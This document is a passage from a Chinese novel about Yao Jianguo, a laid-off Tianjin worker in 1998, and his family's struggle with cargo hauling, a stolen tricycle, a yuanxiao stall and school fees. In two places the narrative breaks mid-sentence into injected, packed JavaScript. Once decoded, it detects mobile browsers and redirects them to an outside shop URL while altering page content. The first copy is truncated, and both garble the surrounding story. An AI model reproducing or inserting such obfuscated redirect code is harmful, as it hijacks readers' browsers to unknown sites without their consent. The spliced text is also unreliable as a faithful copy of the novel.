七点半,他推着三轮车往三号站台挪。车轴没油,轮子每转一圈就“吱——嘎——”惨叫一声,听着心里发毛。路过煤堆,几个装卸工蹲成一圈抽烟,有人冲他喊:“老姚,今儿个拉嘛?” “棉纱。” “棉纱好啊,轻省!” 是好,棉纱轻,不费劲儿。可姚建国心里门儿清:轻的货工钱也贱。上回拉过一批铸铁管,一根八十斤,一车拉六根,从站台到仓库,三百米,一趟给八块。他拉了五趟,挣四十,晚上回家胳膊都抬不起来。张玉芬用热毛巾给他敷,敷着敷着他就睡死过去,梦见自己变成了一根铸铁管,被埋在地底下,再也用不着动弹了——那梦,他回味了好几天,觉得挺美。 三号站台已经有人了。五六辆三轮车排着,都是熟脸:老李、小王、赵麻子……还有一个住在武德闾的老叶,比那几位都年长,他车是新的,车轴上还按了一个摩托的发动机,车斗刷着红油漆,亮得晃眼。他正跟调度说笑,“我们外孙子叶凡这回数学考了100分。”“那语文呢?”“嗨!夯虎(马虎)了,97。”貌似两人很熟悉的样子,接着递烟,点烟,烟雾把他那张胖脸笼得模糊一片——模糊好啊,模糊就显得高深。 姚建国把车停在最后面。他没往前凑,就蹲在车边等。从怀里摸出个小扁瓶,拧开,抿了一口。酒是散白干,六十五度,一口下去,从喉咙烧到胃里,像吞了块火炭。可也管用,暖意慢慢散开,腿上的疼好像轻了点儿——疼这东西,你越在意它,它越来劲;你喝点酒,它就蔫了。 八点整,火车来了。蒸汽机车头喘着粗气,拖着二十节闷罐车厢爬进站,像个得了肺痨的老头,走一步,喘三步。车门一滑开,棉纱用麻袋装着,鼓鼓囊囊堆在门口。调度吹响了哨子:“开工!” 人一窝蜂涌上去。老叶冲在最前头,车新,蹬起来轻快,第一个装好货,弓着腰就没影儿了。小王和赵麻子紧跟其后。姚建国磨蹭到最后,捡别人挑剩下的——车厢深处的、被压变形的、麻袋破了口的。他专挑这些,为什么?因为这些没人抢,不用争,争也争不过。 装车是门技术,棉纱虽轻,可鼓鼓囊囊不好码。姚建国把麻袋在车斗里挪了又挪,才码齐,用麻绳捆紧,打的是水手结——这结是他年轻时在西开码头学的,那时候他还有劲儿,还有梦。结打得是结实,可费工夫。等他捆好,前头几辆都跑完一趟回来了。 “老姚,你这速度,吃屎都赶不上热乎的!”老叶从他身边过,甩下一句。 姚建国没应。他心里想:热乎的屎也是屎,有什么可赶的?弯下腰开始蹬车。车一负重,沉得像个死物,每蹬一圈,膝盖就咯嘣响一声。他数着数,从一站台到仓库,得蹬三百四十七圈。数到一百,汗就把衬衫湿透了,黏唧唧地贴在背上。数到两百,腿开始发软,像不是自己的。数到三百,眼前发黑,只能瞅见仓库大门那个黑窟窿,像张等着吃人的嘴——吃吧,吃吧,反正我也没几两肉。 第一趟,五块钱。调度把钱拍在他手里,是张皱巴巴的五元票子,票子上印着的人像衣领都磨平了——衣领磨平了,人还端坐着,一本正经的,真好笑。他把钱展平,对折,塞进内兜。补丁下面好像厚了一丁点儿,可感觉不出来——就像他这日子,好像好过了一点儿,可感觉不出来。 第二趟,第三趟……到第五趟,太阳爬过货场的龙门吊,明晃晃地砸下来。姚建国把外套脱了,只穿件破背心,背上好几个洞,最大的在胳肢窝,能伸进俩手指头。汗从那洞里流出来,在皮肤上冲出些白道子——那是盐。他舔了舔胳膊,咸的。人这一身肉,到头来也就是一包盐,流干了,就剩一把骨头。 中午歇半小时。别人掏出家里带的饭:馒头夹酱豆腐、烙饼卷鸡蛋、还有饭盒里装着饺子,冒着热气。姚建国走到货场边的水龙头底下,拧开,把嘴凑上去灌。水带着股铁锈味儿,他不管,咕咚咕咚喝了半肚子。凉水一激,胃里那点稀粥底儿彻底没了,饿得心慌——心慌好啊,心慌就不想别的事了。 他从车座底下摸出半个窝头,是昨天剩的,硬得能砸死人。他一点点掰着吃,掰一小块,含嘴里,等唾沫把它泡软了再咽。渣子掉地上,几只麻雀飞过来啄,啄几下,扑棱着翅膀飞走了——太硬,鸟都不稀罕。姚建国看着麻雀飞走的方向,心想:鸟都知道挑食,人怎么就不知道呢? 下午接着干。棉纱好像永远拉不完,车厢里的麻袋不见少,反而越堆越高。姚建国的腿早就没了知觉,只是机械地蹬,一圈,又一圈。眼前就剩一条路:煤渣路,泛着黑光,直通那个黑窟窿。他觉得自个儿像头驴,蒙着眼,绕着磨盘转,转一辈子,也转不出这个圈。 傍晚六点,最后一车。调度说这是加班的,给双倍,十块。姚建国点点头,他已经说不出囫囵话了。装车时,手抖得厉害,麻绳半天系不上。还是老李看不过去,过来帮他系好。 “老姚,你这精贵的身子骨,小姐的身子丫头的命,不行就别硬撑了。” 姚建国摇摇头,心里却说:我不是硬撑,我是没得选。蹬上车。这一趟格外长,他觉得仓库大门在往后躲,怎么蹬也够不着。蹬到一半,他咳起来,咳得整个人蜷在车把上,三轮车歪歪扭扭,差点栽进煤堆里。 咳完了,用手背擦嘴,手背上蹭了道血丝,淡淡的粉红色。他盯着看了几秒,把手往裤子上抹了抹——抹掉了,就看不见了;看不见,就不存在了。这是他的人生哲学。 好歹卸完货,拿到十块钱。两张五元的新票子,还带着印刷厂的油墨味儿。他把钱跟别的钱归拢到一块,内兜鼓囊起来,贴着心口,温吞吞的,像个瘤子——良性的还是恶性的?不知道。反正长在那儿了。 回家的路得穿过整个中山路。姚建国推着空车走,实在蹬不动了。路灯一盏盏亮起来,昏黄的光把影子拉长又挤短。路过中山公园,小吃摊都支起来了,煎饼果子的香气飘过来,葱花、面酱、鸡蛋混在一块儿,香得让人腿肚子转筋。一个摊主扯着嗓子喊:“煎饼果子,热乎的!” 姚建国摸了摸内兜。今天挣了三十五,加上之前攒的,差不多够给姚华买双新球鞋了。孩子脚上那双,前面都张嘴了,用线缝过,针脚歪歪扭扭,像条蜈蚣——蜈蚣好啊,蜈蚣脚多,走得稳。 可他没停,接着走。走过北洋桥,他停下来,趴在桥栏杆上往河里看。新开河在夜色里是墨黑墨黑的,只有被路灯照到的地方,才泛出点油亮的光。一艘拖船开过,船上的红灯在水面上拉出一道长长的、发抖的血痕——血痕也会发抖,血也怕冷。 他看了很久,然后从怀里掏出小扁瓶,把最后一点酒灌进肚子。瓶子空了,他想了想,没扔,又揣回怀里。空瓶子也是瓶子,能装水,能装酒,能装下好多说不清道不明的东西——比如希望,比如失望,比如那些说不出口的话。 到家八点多了。盐坨村的窗户大多亮着,电视声、炒菜声、小孩哭闹声混成一片,嗡嗡响,像一锅煮烂了的粥。姚建国家在胡同最里面,窗户黑着,张玉芬准是带姚华上夜班去了——她在糊火柴盒,计件,糊一千个挣一块二。姚建国算过,要糊够他一天拉货的钱,得糊将近三千个。三千个火柴盒,排起来能绕屋子几圈?他没算,不敢算。 他把三轮车锁在那个所谓的院子里,锁是那种老式挂锁,锈得不成样子。锁好,又拽了拽,确定锁死了,才往里走。院子里黑黢黢的,没灯,门上糊满了小广告:通下水道、修电视机、□□……纸一层盖一层,厚得跟棉被赛的——棉被保暖,这些纸不保暖,只挡风。 开门,屋里果然没人。他拉亮灯,十五瓦的灯泡,光线昏黄得像得了黄疸病。桌上扣着个碗,掀开,是留给他的饭:一碟炒白菜,俩馒头。白菜炒过火了,发黄,软塌塌地趴在碟子里,像一堆煮烂了的抹布。 他坐下吃。馒头是凉的,硬,他就着开水往下咽。吃着吃着,突然停住了——桌上压着张油印卷子,姓名栏是姚华的字,铅笔写的,字挺大,一笔一划的,认真。 拿开压着卷子的碗,红笔打的“100”扎眼,旁边还有老师批语:“大有进步!” 姚建国盯着那个“100”,看了半晌。然后把卷子重新折好,放进立柜最上头的抽屉。抽屉里还有姚华以前得的奖状,三好学生、优秀少先队员……一张没丢。丢什么呢?这些是他唯一的体面,丢不得。 吃完饭,他打了盆热水泡脚。脚肿了,脚底板的老茧给水泡得发白,像死鱼的肚皮。他用手抠,抠下一块,露出底下粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜里他做了个梦。梦见自己还在货场拉棉纱,可棉纱变成了水,越拉越多,水从麻袋里涌出来,淹了货场,淹了三轮车,淹到他脖子。他拼命蹬车,车在水里纹丝不动,他就用手划,划啊划,忽然抓住个东西——是姚华那张考卷,上头红色的“100”在水里化开了,化成一滩血,把他整个手掌都染红了。他吓醒了,坐起来,发现枕头湿了一片,不知是汗还是别的嘛——也许是泪,但他不承认,男人哪能随便流泪? 三轮车被偷是在一个礼拜后的早上。那天有雾,大雾,整个货场像泡在浑浆浆的牛奶里——变质的牛奶。姚建国像往常一样把车停在“严禁停留”的牌子底下,然后去调度室报到。朱格说今天有批紧急物资,从杨柳青运来的机器零件,一车十块。 “车呢?”朱格问。 “外头。” “锁好了?” “锁了。” “这雾天,留点神。” 姚建国没往心里去。雾天,贼也看不清道儿——贼看不清,他也看不清,扯平了。他进调度室等派工,屋里生着炉子,暖和,他坐在条凳上,竟迷糊着了。醒来时雾散了些,他出去看车。 车没了。 锁还在,挂在那根专门焊的铁柱子上,锁芯被剪断了,切口齐刷刷的,是用液压剪干的。地上有新鲜轮胎印,消失在还没散尽的雾里。 姚建国戳在那儿,一动不动。雾水打湿了他花白的头发,一绺绺贴在脑门上。有人打他身边过,问:“老姚,咋了?” “车没了。” “嘛?” “车,没了。” 那人凑近瞅,看见断锁,骂了句:“操,哪个缺德带冒烟的!”然后拍拍姚建国肩膀,“报警吧。” 姚建国没打过电话。他知道没用,这种破事儿,警察没工夫管——警察忙,忙着管大事,他这辆破车,算什么事?他蹲下,捡起断锁,锁芯里的弹簧卷曲着蹦出来,像条死透了的蚯蚓——蚯蚓死了还能肥地,这锁死了,只能添堵。 朱格出来了,一看就明白了。“我说嘛来着?你那破锁,跟没有一样。” “车……四百八买的。”姚建国说,声儿轻得像自言自语——自言自语的,说给谁听呢?说给自己听呗。 “那完犊子了。”朱格叹口气,“今儿个你先家走吧,车我帮你问问,看谁瞅见过。” 姚建国没回家。他顺着货场溜达,一圈,又一圈。雾全散了,太阳露头,把地上的煤灰照得晃眼。他盯着那些轮胎印看,印子深,说明车上拉着货——贼是开着满载的车跑的,不是推。他心里忽然冒出个念头:这贼,也是个勤快人,偷车还不忘拉趟活。 他走出货场,上了马路。印子没了,混进无数车轱辘印里。他接着走,漫无目的地走。走过北站,走过中山路,走过金刚桥。走到海河边,他站住了。 就是在这儿,他当初下定主意买三轮车的。那天也是早上,他蹲在河沿儿,数着手里的钱:下岗买断剩下的三千七。数了一遍又一遍,数得手指头都麻了。最后他想:买吧,买了车,就有活路了。现在想来,那活路,也就是条死胡同,走着走着,撞墙了。 车是在旧货市场踅摸的。卖车的是个老头,说车是他儿子的,儿子奔深圳打工了,用不着了。姚建国试了试,车还能动弹,就是刹车不灵光。老头让价,四百八成交。他数钱时手哆嗦,不是舍不得,是知道这钱是他最后的本儿——本儿没了,就什么都没了。 现在,本儿赔光了。 姚建国在河边坐下,坐了老半天。有船过,拖船,拉着沙石,吃水很深。船上的工人瞧见他,冲他喊:“嘿!爷们儿!别想不开!” 他没想不开。他在想,没了车,明天咋办?后天咋办?想着想着,他忽然乐了:明天不用早起了,后天也不用早起了,天天都不用早起了。张玉芬糊火柴盒糊到后半夜,一个月也挣不出一百块。姚华要上初中了,要是去上铁一中,赞助费三千——三千,把他卖了也不值这个数。 他从怀里摸出小扁瓶——早空了,昨儿个就喝干了。他拧开盖,对着嘴倒了倒,一滴都没了。他就举着空瓶子,对着太阳瞅。玻璃瓶子在太阳底下泛着绿光,像块不值钱的假翡翠——假的好,真的他也买不起。 6. 第六章 滚烫的元宵 腊月二十三那雪,下得跟筛面粉似的,细细密密,从破了口的天上往下漏。友谊罐头厂那烟囱还冒着黄烟,把雪片子熏得跟旧棉袄里掏出的棉絮一个色儿。姚建国蹲在院里推磨——磨是借隔壁修鞋老赵的,死沉,推三圈就得喘,白气儿从嘴里出来,“呼”一下,没了,跟从来没喘过那口气似的。 屋里刺啦刺啦响,是铲子刮锅底。张玉芬在炒馅,红糖熬得稠糊糊,裹着芝麻核桃,在铁锅里翻滚。那香味从门缝挤出来,混着院里的雪腥气,让姚建国忽然想起他妈——老太太活着时,总往豆馅里掐一撮桂花。那年月桂花金贵,如今胡同拆了,桂花也只剩鼻子记得。 “添水。”张玉芬在窗户里说,一个字,跟吐瓜子皮似的。 姚建国往磨眼里舀水。井水扎手,溅到腕子上,激得他一哆嗦。接着推,石磨响得闷,像有个咳嗽的人藏在木头里。米浆从磨缝渗出来,慢慢流进桶里,稠得能挂住勺把子。 一九九八年了。街角宣传栏贴着新标语,“下岗再就业”五个字红得晃眼。旁边罐头厂的旧广告,黄不拉几,像上个世纪留下的饭痂。姚建国认字不多,但“下岗”俩字他熟——红皮小本压在箱底,挨着结婚证,都是红的。一个红是开头,一个红像是句号。 磨完最后一勺米,天黑透了。姚建国站起来,腿麻得像有千万只蚂蚁在血管里开会。提桶进屋,米浆在桶壁上留下痕,黏糊糊的,像眼泪干了没擦净。 屋里比外头还冷。炉子没生,张玉芬说等睡觉再点,省煤。她在案板上切馅,黑方块码得齐整,跟缩小了的墓碑似的。姚华写作业,铅笔短得快捏不住了,套个纸筒接着写,手指冻得发紫。 “明儿找副食店王会计借几个笸箩。”张玉芬说,手里的刀没停。 “嗯。” “说好了,一天五块。” 姚建国从怀里掏钱,一张张数,五张一块的。票子皱得像腌过的白菜帮子,还带着他的体温。张玉芬接过,别在内衣兜里,拍了拍——拍的是兜,也是那几张票子。 夜里雪大了。姚建国躺炕上,听见树枝被雪压断的声儿,咔嚓,咔嚓,像什么小骨头在暗处折。想起去年元宵节,他们卖出去三百多个,挣了六十块。那天他买了瓶直沽高粱,张玉芬没拦,还给炒了盘鸡蛋。酒喝到一半,姚华掏出成绩单,语文九十五,数学一百。孩子把纸压在酒瓶底下,说:“等我考上铁一中学……” 后来酒醒了,成绩单被酒渍洇透,红墨水化开一片,像血。 天没亮姚建国就出了门。副食店没开,他在雪地里站了半个钟头,脚冻得没知觉了。王会计骑自行车来,后架子上挂着几个卖馒头用的大笸箩——半旧不新,边儿都磨亮了。 “使完了还我,”王会计说,“这玩意儿现在不好找。” 姚建国点头,把笸箩捆在三轮车上。车是借老李的,车胎补过三回,鼓着三个疤,像得了天花的屁股。 回家,炉子生上了。窗上的冰花化了一道,水淌下来,在窗台上冻成冰溜子。姚建国把笸箩摆开,张玉芬已经和好了糯米粉,雪白一堆,像个小雪山。 “开始吧。”张玉芬说。 头一道是蘸水。姚华用笊篱捞馅块,水里过一下,倒进笸箩。笸箩底铺了层薄粉,馅块落进去,噗噗响,像雨点掉进灰堆里。 姚建国摇笸箩。他两手抓住边沿,前后晃。才晃了两下,胳膊就酸了。那笸箩死沉,馅块在里头滚得慢,沾粉也不匀。他咬咬牙,又晃了十来下,汗出来了。 “算了,我来。”张玉芬接过笸箩。 她力气大,晃得笸箩哗啦哗啦响,馅块在粉里翻滚,慢慢裹上第一层白。可这是力气活,干了半个钟头,她胳膊也抬不起来了。第一锅出来,元宵大小不一,有的地方还露着黑馅。 “这么干不行,”张玉芬盯着那些歪瓜裂枣的元宵,“得想个法子。” 那天卖得不多。二百多个,挣了四十来块。回家路上,三轮车蹬得吃力,上坡时姚建国下来推,张玉芬在后面帮着推,谁也不说话。 夜里,张玉芬没睡。她坐在炕沿上,盯着墙角的笸箩看,看了足足一个钟头。姚建国说睡吧,她不吭声。后来她突然站起来,翻箱倒柜找出四个旧轴承——不知道哪年从厂里带回来的,都锈了。 “有钉子和锤子没?”她问。 姚建国找来工具。张玉芬把笸箩倒扣,在四个角下面各钉上一个轴承。钉完了,她把笸箩翻过来,放在桌上,轻轻一推——笸箩顺着轴承滑出去老远,又滑回来,轻快得像抹了油。 “成了。”她说,脸上有了点儿笑模样。 第二天试新法子。笸箩底下有轴承,前后一晃,哗啦啦,馅块在粉里滚得欢实,均匀,省力。姚建国晃了几下,确实轻快多了。张玉芬说:“你就管这个,我管煮和卖。” 姚建国心里有点儿愧,但胳膊是真酸,也就应了。 这天挪到金刚桥下。风顺着河面刮过来,割脸。张玉芬用铁皮围住炉子,姚建国摇笸箩。有了轴承,摇起来吱呀呀响,像唱歌。元宵越滚越圆,白胖白胖的,在笸箩里跳。 生意来了。过年的人们匆匆走过,看见热气就停脚。有买的,有看的。张玉芬煮元宵,一次三十个,哪个先下哪个后下,记得清清楚楚。姚华照看炉火,添煤,压火。 姚建国摇笸箩,摇得胳膊有节奏地酸。他看着笸箩里的元宵,从黑疙瘩变成白圆球,一个接一个,像变戏法。这活儿单调,但看成果,心里踏实。 中午卖了一半。钱盒里票子多了,姚建国趁空数了数,八十七块五。他算成本:糯米二十斤十八块,糖和馅二十五,煤五块,借笸箩五块,摊位费还没交。净赚三十来块。 三十块,是他在货场拉六车棉纱的钱。这么一想,摇笸箩也不算累了。 下午来了个大主顾,单位福利,要两百个生的。姚建国收钱,手有点抖——这辈子没经手过这么多整票子。年轻夫妻的摊子在旁边,冷冷清清。他们卖四毛,但馅少,个头小。女的开始吆喝,没什么用。男的瞪了姚建国一眼,眼神跟刀子似的。 姚建国低下头数钱。他从来不想惹事,但笸箩底下那四个轴承,让他觉得腰杆硬了点儿。 傍晚飘雪。路灯亮了,雪花在光里飞,像扑火的蛾子。收摊时,张玉芬倒锅里的汤,在雪地上浇出个黑窟窿。 回到家累瘫了。数钱,二百七十三块八毛五。 “这么多?”姚华眼亮了。 张玉芬笑了,笑得很轻,但真切。“明天多做。” 第二天做七百个。馅不够,姚建国跑去买糖,红糖涨价了。他咬牙买了十斤。 这天还在桥下。风大,炉火忽明忽灭。姚建国摇笸箩,手冻僵了,但笸箩晃得顺溜。七百个,下午四点卖光。有个男人没买到,失望,张玉芬说:“明儿还来,给您留着。” 回家数钱,三百八十九块二。张玉芬一笔笔记账,最后算出净赚一百一十七块。 “照这样,干到正月十五,能挣一千。”她说。 一千。姚建国想不出一千块钱摞起来多厚。他只晓得,姚华的赞助费,铁一中三千块,能凑上些了。 夜里他梦见摇笸箩。笸箩越变越大,变成个磨盘,他推着转,转不完。元宵从天上掉,砸在头上,生疼。 腊月二十八,做了八百个。这天冷得邪乎,零下十五度,锅开得慢,元宵煮破了几个。张玉芬捞出来自己吃,甜的,进嘴却发苦。 摊位费涨到十五。年轻夫妻不干了,三轮车坏了,推回家时哭丧着脸。张玉芬看着,心里揪了一下。收摊时,她偷偷往他们车把上挂了十个元宵。 姚华坐炉子边写作业,手冻得通红。他说这儿暖和,其实是看着——看父母摇元宵时专注的脸,收钱时小心翼翼的手。 年三十没出摊。包了饺子,白菜猪肉馅,肉少,但总是肉的。姚建国弄了挂鞭炮,一千响,在院里放了,噼里啪啦,炸出一地红纸屑。 吃饺子时,姚华说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119413|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈,等我长大挣钱,你们就不用受累了。” 张玉芬的眼泪掉进碗里。姚建国没说话,摸了摸儿子的头。手糙,但落得轻。 春晚唱《常回家看看》,张玉芬跟着哼,哼着哼着哭了。姚建国看着她哭,突然觉得,要是天天都能挣一百多,让她哭一哭也值。 可他不知道,好日子就像年三十的鞭炮,响得热闹,转眼只剩一地纸屑。 正月初六,出事了。 糯米不够,粮店卖完了。姚建国跑了五个粮店,最后在一个叫“菜道”的批发市场买到,价翻了一倍。糖也涨,青红丝断货。成本噌噌涨,元宵不敢涨价——一涨,客就跑了。 别的摊子也多起来。初六那天,中山路上冒出四个卖元宵的。竞争狠了,有人卖四毛五,有人卖四毛,还有个卖三毛五的,用的是陈年糯米,煮出来黄不拉几。 张玉芬坚持卖五毛。“咱的货真。”她说。可图便宜的人越来越多。初七只卖了四百个,剩下的送邻居,邻居也腻了,婉拒。 初八下雪,没人出门。在桥下守了一天,只卖出六十个。傍晚收摊,张玉芬看着锅里剩的元宵,突然说:“不干了。” 姚建国一愣:“啥?” “不干了,”张玉芬重复,“赔钱。” “可还差一千多……” “差多少也不能赔着干。” 姚建国张了张嘴,话卡在喉咙里。他看着张玉芬收拾东西,动作快,决绝。他帮不上忙,只能站着,雪落了一身。 元宵生意到此为止。统共干了十四天,净赚八百二十七块六毛三。加上之前攒的,还差一千二。姚建国算这个数,用的是姚华作业本背面,铅笔写的,写错了用橡皮擦,纸破了,数字从破洞里露出来。 正月十五,元宵节。别人家吃元宵,姚建国家吃剩饭。那些没卖出去的煮了一部分,吃不完,放着,第二天就裂了。张玉芬把坏的扔了,好的冻上,说慢慢吃。可谁也不想吃,看见元宵就反胃。 夜里姚建国一个人出门。走到金刚桥下,空荡荡的,只有雪和风。他蹲在他们摆过摊的地方,地上还有炉灰的印子,黑乎乎的。他用手摸了摸,灰是冷的。 远处有人在放烟花,红的绿的,在空中绽开,又灭。桥下的海河结了冰,冰面上反着光,一闪一闪。 姚建国想起摇笸箩的响声,吱呀呀,像老座钟在走。想起张玉芬被热气熏红的侧脸。想起姚华数钱时亮晶晶的眼睛。这些画面现在都冷了。 他从怀里掏出小扁瓶,酒剩个底儿,一口闷了,辣得咳嗽起来,咳出了眼泪。 泪是热的,但很快就被风吹冷了,在脸上结成冰碴子。 回家时张玉芬还没睡。她在糊火柴盒,桌上堆了一大摞。糊一个半分钱,得糊两千个才挣一块。灯下,她的背影弯着。 姚建国在门口看了很久,走过去坐下,拿起一个火柴盒,学着糊。手笨,糨糊抹得到处都是。张玉芬没看他,也没说话,只是默默地糊,一个,又一个。 姚华从里屋出来,看见父母都在糊火柴盒,愣了一下,也坐下,拿起一个。他不会,但学得快。 三个人,围着一盏十五瓦的灯泡,糊火柴盒。屋里很静,只有刷糨糊的声音,唰,唰,唰。窗外,烟花还在放,隐约的爆裂声传来。 糊到第一百个时,姚建国突然说:“明年……明年咱们早点备料……” 张玉芬没抬头:“明年再说吧。” “一定能行……” “睡吧。” 姚建国不再说了。他知道,有些事就像这火柴盒,糊得再好,也只是一分钱两个。糊四千个才挣一块,而他们需要一千二,得糊四百八十万个火柴盒。 这个数太大了,大到他想都不敢想。 他继续糊,手渐渐熟了。可他晓得,这没用。他糊得再快,也快不过时间,快不过生活这只更大的手。 夜深了,烟花停了。世界重归寂静,只剩糊火柴盒的声音,唰,唰,唰。 7. 第七章 铁一中录取通知书 通知书是七月底到的。天热得邪乎,友谊罐头厂的烟囱冒黄烟,有气无力,在半空悬着,像条半死的黄鳝。邮递员的自行车铃在胡同口响了三次,张玉芬才从糊火柴盒的案板上抬头——手一抖,糨糊刷子在纸上拖了道长长的白痕。 “挂号信!”邮递员扯嗓子喊。 张玉芬在围裙上擦了擦手,围裙是旧床单改的,洗得发白,糨糊在上面留了个透明的印子。她小跑出去,腿有些软——这几天总梦见姚华落榜,梦见成绩单被雨淋湿,红墨水化开,流成一条河。 邮递员是个年轻人,满脸汗,制服贴在背上。“签字。”递过来个牛皮纸信封。 信封厚,右下角印着“市铁路第一中学”几个红字。张玉芬手开始抖,签名写得歪扭,最后一笔拉得老长,像要逃出那个小方格。邮递员撕下回执,看她一眼:“孩子考上了?” “不、不知道……” “铁一中好啊,”邮递员蹬上车,“这学校能连着上高中,我弟去年考上的,将来准上重点大学。” 车铃又响了,渐行渐远。张玉芬站在胡同口,捏着信封,半天没动。太阳白花花,晒得人头晕。信封在手里有了重量,沉甸甸,像块砖。 她没敢拆,走回家,放堂屋桌上。桌子是姚建国父亲留下的,腿断了,用铁丝缠着。信封在斑驳漆面上显得格格不入,崭新,挺括,像从另一个世界来的。 姚建国在院子里蹲着,看一个方向,动也不动,愣神。张玉芬走到门口,喊:“建国。” “嗯?”头也没抬。 “信来了。” 姚建国慢慢直起身,手在裤子上抹了抹,留下两道土印。他走过来,站在门口,看桌上的信封,看了很久。然后说:“拆吧。” “你拆。” 姚建国摇头:“你拆,你手干净。” 张玉芬手其实不干净,指甲缝里还有糨糊。但还是走过去,拿起信封。封口粘得牢,撕了一下,没撕开。又撕,撕开个小口,再用力,“刺啦”一声,口子裂大了。 里面两张纸。一张录取通知书,印着校徽,下面是姚华的名字,铅字印的,端端正正。另一张缴费通知单,列一串数字:学费八百,书本费二百四,校服费一百六,住宿费三百……最下面合计:一千五百二十元整。 张玉芬先看录取通知书。识字不多,但“姚华”认识,“铁一中”也认识。看了三遍,递给姚建国。姚建国接过,手有点抖,纸哗啦哗啦响。盯着上面的字看,看了很久,突然笑了,笑得很怪,嘴角向上扯,眼睛却红着。 “考上了。”他说。 “嗯。” “铁一中。” “嗯。” 姚建国把通知书放回桌上,放得很轻,像怕碰碎什么。然后拿起缴费单,只看一眼,就放下了。转身往外走,走到院子里,蹲下,继续修车链子。钳子捡起来,手抖得厉害,对了好几次才对准链扣。 张玉芬跟出来,站他身后。“一千五百二。” “嗯。” “加上赞助费,还差……两千多。” 姚建国没应,用力拧紧钳子,链扣“咔哒”一声,接上了。摇脚踏板,轮子转起来,链子还有点松,哗啦哗啦响。 “怎么办?”张玉芬问。 姚建国站起来,拍拍手上的土。土和油混一起,成了黑泥。“我去借。” “跟谁借?” “总有地方借。” 说完往外走,连手都没洗。张玉芬看他背影,衣服后背湿了一大片,贴瘦削的脊梁上,能看见一节节脊椎骨的形状。她突然觉得,这男人从来没像今天这么小过,小得像要被太阳晒化了。 姚建国先去了二舅家。二舅正在院子里浇花,用个破搪瓷缸子,掉瓷掉得厉害,露出黑铁。 “借钱?”二舅放下缸子,“多少?” “五百。” 二舅笑了,笑得很苦。“建国,不是我不借,你瞅瞅我这院子,瞅瞅我这屋,像有五百块钱的样子吗?” 姚建国没说话,眼睛盯着地上的蚂蚁。蚂蚁在搬死苍蝇,几十只抬着,摇摇晃晃走。 “孩子考上铁一中是好事,”二舅递他根烟,“可这好事……太费钱。” “我知道。” “你打算怎么还?” “我干活,慢慢还。” 二舅抽口烟,烟雾在热空气里升得慢。“这样吧,我给你一百。再多真没了,你舅妈看病还得花钱。” 一百就一百。姚建国接过钱,是十张十元的,叠得整齐。他没数,塞进裤兜。裤兜里原来就有钱,这两天拉货挣的,二十三块四毛,和这一百混一起,厚了些。 “谢谢二舅。” “谢啥,”二舅摆摆手,“孩子出息了,比啥都强。” 从二舅家出来,姚建国在胡同口站了会儿。太阳正毒,晒得柏油路面发软,踩上去黏鞋。他想起姚华小时候,三岁吧,摇摇晃晃在胡同里跑,摔倒了,不哭,自己爬起来,拍拍土继续跑。那时候想,这孩子倔,像他。可现在觉得,姚华的倔和他不一样——姚华的倔是往上,摔倒了也要往前跑;他的倔是往下,站着不动,也在往下沉。 第二家去远房表姑。表姑住楼房,三楼,爬上去喘得厉害。敲门,表姑开门,看见他,愣一下。 “建国?稀客啊。” “表姑,”姚建国说,“想跟您借点钱。” 表姑让他进屋。屋里比外面凉快,电风扇在转,吱呀吱呀。表姑给他倒杯水,水是凉的,杯壁凝着水珠。他喝一口,凉水顺喉咙下去,浇不灭心里焦灼。 “多少?” “三百。” 表姑没说话,走里屋,拿张存折出来。“建国,不是表姑不帮你,你看看。” 存折打开,余额那栏写着:二百七十三块六毛二。 “你表姑父厂子半年没发工资了,”表姑说,“这钱,是留着买米的。” 姚建国点头,站起来。“那我走了。” “等等。”表姑叫住他,从抽屉拿出手绢包,打开,里面是零钱,最大五块,最小一毛。她数出三十块,塞给他。“这点,给孩子买支好笔。” 姚建国接过钱,想说谢谢,但说不出口。他鞠个躬,转身走了。楼梯暗,一步一步往下,脚步声在楼道里回荡,像有另一个人跟着他。 傍晚时,借到了三百二十块。除了二舅一百,表姑三十,还有几个邻居,十块二十块凑。钱在裤兜里鼓起来,像长瘤子。但他知道,不够,远远不够。 回到家,姚华已经回来了。他正在看通知书,看得仔细,手指在“铁一中”三个字上摩挲。听见门响,抬起头,眼睛亮亮。 “爸。” “嗯。”姚建国应一声,走到水缸边,舀瓢水洗脸。水是晒过的,温的,洗不掉脸上疲惫。 张玉芬在做饭,今天特意多炒个菜——西红柿炒鸡蛋。鸡蛋是跟邻居借的,三个,打碗里黄澄澄。西红柿自家种的,结得小,酸。 吃饭时,三个人都没怎么说话。姚华不时看眼桌上通知书,像在确认它是真的。张玉芬给姚华夹鸡蛋,一筷子,又一筷子,自己只吃西红柿。姚建国埋头扒饭,饭是昨天的剩饭,有点馊味,但他吃不出来。 吃完,姚华洗碗。姚建国叫住他:“华子。” “嗯?” “铁一中……好吗?” 姚华想了想,说:“老师说,是中环线以内的好学校之一。” “之一?” “还有南开、耀华、一中……” 姚建国不懂这些名字区别。在他眼里,学校只有两种:要钱的和不要钱的。铁一中显然要钱,而且要得多。 “去了好好学。”他说。 “嗯。” “别像爸。” 这话说出口,他自己都愣了。姚华也愣了,碗在手里滑一下,差点掉地上。张玉芬擦桌子,动作停住了。 屋里静得可怕。只有电灯泡在头顶晃,灯绳长长的,投下的影子也在晃。 姚建国站起来,走到院子里。天黑了,星星还没出来,天是深蓝色,像块厚重绒布。他点根烟,“红恒大”,烟盒瘪了,最后一根。烟吸进肺里,辣,但有种实实在在感觉——还活着,还能呼吸,还能为一千五百二十块钱发愁。 张玉芬跟出来,站他身后。“还差多少?” 